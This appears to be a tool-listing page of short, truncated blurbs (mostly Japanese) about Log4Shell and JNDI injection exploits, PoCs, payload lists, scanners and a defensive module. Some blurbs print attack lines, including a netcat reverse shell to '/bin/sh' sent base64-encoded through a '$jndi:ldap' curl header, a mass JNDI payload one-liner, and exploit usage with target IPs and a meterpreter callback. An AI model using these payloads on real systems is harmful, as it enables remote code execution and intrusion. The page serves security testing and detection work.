CVE-2021-44228

CVE-2021-44228 Log4J CVE-2021-44228 を悪用して、脆弱な Minecraft ゲームセッションにおける CVE-2021-44228 をパッチし、セッション内での悪用を防ぎます : JNDI/LDAP操作からリモートコード実行ドリームランドへの旅...

CVE-2024-20931

CVE-2024-20931 CVE-2024-20931 は、Oracle WebLogic の CVE-2023-21839 のパッチをバイパスするものです。 使用方法: JNDI をセットアップします。https://github.com/WhiteHSBG/JNDIExploit/ の特定のものを使用してください。 エクスプロイト: root@kitploit: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001 Please input RMI...

JNDI-Injection-Exploit

JNDI-Injection-Exploit JNDI 인젝션에 관한 자료 중국어 문서 관련 글 설명 JNDI-Injection-Exploit는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. RMI 서버와 LDAP 서버는 marshals를 기반으로 하며 HTTP 서버와 연결하기 위해 추가로 수정되었습니다. 이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이러한 링크를 POC 에 삽입하여 취약점을 테스트할 수 있습니다. 예를 들어, 다음은...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDIインジェクション getDatabaseMetaData プロジェクトは https://github.com/5up3rc/weblogiccmd に依存しています。 デモ 要件 1. JDKバージョン JDK6u211/7u201/8u191 2. Weblogicバージョン 12.2.1.4.0 違法に使用しないでください!!!!!!!! 参考 1. https://www.anquanke.com/post/id/210724 2...

log4shell-test-exploit

CVE-2021-44228 log4shell のテストエクスプロイト 準備 root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git cd marshalsec...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 중국어 README 설명 JNDI-Injection-Exploit-Plus는 작동 가능한 JNDI 링크 를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. 이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이 링크를 POC 에 삽입하여 취약점을 테스트할 수 있습니다. 예를 들어, 다음은 Fastjson 취약점 POC입니다: root@kitploit:...

log4shell-tools

log4shell.tools log4shell.tools es una herramienta que te permite ejecutar una prueba para comprobar si alguna de tus aplicaciones está afectada por las vulnerabilidades recientes en log4j: CVE-2021-44228 y CVE-2021-45046. Este es el código que ejecuta https://log4shell.alexbakker.me. Si quieres...

l4s_poc

l4spoc Log4Shell Cve-2021-44228 概念実証 これは、Log4Shell エクスプロイト用の LDAP サーバーと HTTP サーバーをホストするシンプルな POC を実行する個人プロジェクトです。 サーバー runservers.py は、LDAP リクエストに渡された Metasploit インスタンスにコールバックする、簡略化された meterpreter クライアントをセットアップします。これにより、meterpreter インスタンスは、Log4Shell エクスプロイトの影響を受けた元のプロセスのスレッド内で実行されます。 LDAP サーバーは...

Log4Shell-Payloads

🚨 Log4Shell ペイロードコレクション 厳選された Log4Shell / Log4J エクスプロイトペイロード のリスト。対象： CVE-2021-45046 CVE-2022-42889 🔗 作成者: @nav1n0x 🔥 ワンライナーペイロード ✅ ワンライナー1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...

nmap-log4shell

Apache Log4j RCE CVE-2021-44228 を発見するための Nmap Log4Shell NSE スクリプト nmap-log4shell は、ネットワーク全体で Apache Log4j RCE CVE-2021-44228 の脆弱性を発見するための NSE スクリプトです。このスクリプトは、HTTP ヘッダー デフォルト または TCP/UDP ソケットを介して log4shell エクスプロイトペイロードを注入できます。 脆弱性 CVE-2021-44228 は、Apache Log4j 2 におけるリモートコード実行 RCE...

CVE-2021-45046-Info

CVE-2021-45046-Info ああ、また別の脆弱性です POC root@kitploit: $ctx:apiversion - %dyyyy-MM-dd HH:mm:ss %-5p %c1:%L - %mnolookups%n リンク https://nvd.nist.gov/vuln/detail/CVE-2021-45046 https://www.datadoghq.com/blog/log4j-log4shell-vulnerability-overview-and-remediation/...

log4j-poc

log4j-poc CVE-2021-44228 Log4Shell 用の LDAP RCE エクスプロイト 説明 ポート8080のデモTomcat 8サーバーには、脆弱なアプリケーション（log4shell）がデプロイされており、サーバーはUser-Agent攻撃に対しても脆弱です。 このデモのリモートエクスプロイトアプリは、https://github.com/kozmer/log4j-shell-poc にあるものに基づいています。 このデモTomcatサーバー（Tomcat 8.5.3、Java...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Cancel changes プロジェクトをMavenプロジェクトとして設定した後、実行します（注意：高バージョンのJDKでは失敗する可能性があります。JDK 1.8.65を使用することを推奨します）。 FastjsondemoApplication.java のmain関数を実行するだけです。 TouchFile.javaファイル root@kitploit: import java.lang.Runtime; import java.lang.Process; public class TouchFile static try...

CVE-2023-25194

本ツールはセキュリティテスト目的専用です。違法行為には使用しないでください。誤用による結果はすべてユーザーの責任となります。 CVE-2023-25194 検出ツールは、JNDI を利用して DNS ログプラットフォームから返されたレスポンスコンテンツを読み込み、脆弱性の有無を判断します。レスポンスコンテンツの判定ロジックは、テストにより受信したコンテンツが正常に利用されたかどうかに基づきます。一部のレスポンスコンテンツは DNS ログプラットフォーム経由でターゲットとの接続を確立できますが、最終的に悪用不可能と判断され無視されます。 root@kitploit: python3...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Base64に変換 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= ペイロード curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 概念実証 Log4j PoC フォロー Youtube Twitter...

cloudrasp-log4j2

CloudArmor · ランタイムアプリケーション自己防御モジュール - Log4j2 バージョン 简体中文 このプロジェクトは、Log4j2 CVE-2021-44228 を防御するために特別に構築された CloudArmor のローカルバージョンです。このプロジェクトを実行するためにネットワーク接続は必要ありません。 本番環境にデプロイする前に必ずテストを行ってください。...

CVE-2020-8840

CVE-2020-8840：FasterXML/jackson-databind リモートコード実行脆弱性 0x00 はじめに jackson-databind は、FasterXML プロジェクトグループに属するJSON処理ライブラリです。 0x01 脆弱性概要 2月19日、NVDはセキュリティ勧告を公開し、jackson-databind におけるJNDIインジェクションに起因するリモートコード実行脆弱性（CVE-2020-8840）を開示しました。CVSSスコアは9.8です。影響を受けるバージョンの jackson-databind では、一部の xbean-reflect/JND...

CVE-2021-44228-Demo

CVE-2021-44228-Demo CVE-2021-44228 を利用し、RMI と LDAP の 2 つの方法でコードをリモートから注入する例です。 root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer と LdapServer の起...

log4shell-vulnerable-app

Log4Shellサンプル脆弱性アプリケーション（CVE-2021-44228） このリポジトリには、Log4Shell と呼ばれるCVE-2021-44228に対して脆弱なSpring Boot Webアプリケーションが含まれています。 Log4j 2.14.1（spring-boot-starter-log4j2 2.6.1経由）とJDK 1.8.0181を使用しています。 アプリケーションの実行 実行してください： root@kitploit: docker run --name vulnerable-app --rm -p 8080:8080...

CVE-2021-44228

CVE-2021-44228 チェッカー これは、脆弱性 CVE-2021-44228 を確認するためのリポジトリです。 これは、外部クラスローディングを行わずに文字列を表示するだけのPoCです。任意のコード実行には使用できません。 仕組み ステップ1: サーバーアプリケーションを実行する イメージ ghcr.io/greymd/cve-2021-44228/server が利用可能で、Docker上で実行できます。 root@kitploit: $ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server ステップ2...